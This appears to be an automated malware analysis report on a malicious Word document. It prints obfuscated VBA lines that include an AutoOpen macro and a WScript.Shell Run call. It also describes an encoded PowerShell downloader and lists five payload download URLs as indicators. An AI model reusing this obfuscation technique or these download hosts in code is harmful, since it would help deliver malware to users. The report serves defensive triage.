Malicious Office (OLE) — malware analysis report

Heuristics 11

• ClamAV: Doc.Malware.Valyria-7165739-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Malware.Valyria-7165739-0
• VBA macros detected medium 5 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

     HJoLp = (uwWkK * dGzAV - aoWsc - ijbusF * (jPiii * 35582) + (rAjdk - 66424))
  kOziAsF = zQlUXujAA + CreateObject("Wscript.shell").Run(GPtbDYBTsjz + Chr(vbKeyP) + suGlM + Chr(vbKeyO) + EBOuRljVLwOYZ + asQKDH, 847904596 - 847904596)
     bvlXjX = (LsvbL * mNsZzI - nNztk - hWTrw * (DWGCj * 5163) + (Voiljk - 62406))

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

     HJoLp = (uwWkK * dGzAV - aoWsc - ijbusF * (jPiii * 35582) + (rAjdk - 66424))
  kOziAsF = zQlUXujAA + CreateObject("Wscript.shell").Run(GPtbDYBTsjz + Chr(vbKeyP) + suGlM + Chr(vbKeyO) + EBOuRljVLwOYZ + asQKDH, 847904596 - 847904596)
     bvlXjX = (LsvbL * mNsZzI - nNztk - hWTrw * (DWGCj * 5163) + (Voiljk - 62406))

• Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
  A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Attribute VB_Name = "MsZHQCWLA"
  Sub AutoOpen()
  On Error Resume Next

• Reference to Windows Script Host high SC_STR_WSCRIPT
  Reference to Windows Script Host
• Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
  OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
• Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://www.islandhouse.cn/28mMVV/ Referenced by macro

  • http://www.lacherprise.net/VaBnGGME/Referenced by macro
  • http://doinothientrieu.com/pUp/Referenced by macro
  • http://www.phukhoaanthao.com/HjvS0z/Referenced by macro
  • http://primerplano.org/GDJux/Referenced by macro
  • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Open this report in the interactive analyzer, or submit your own file for analysis.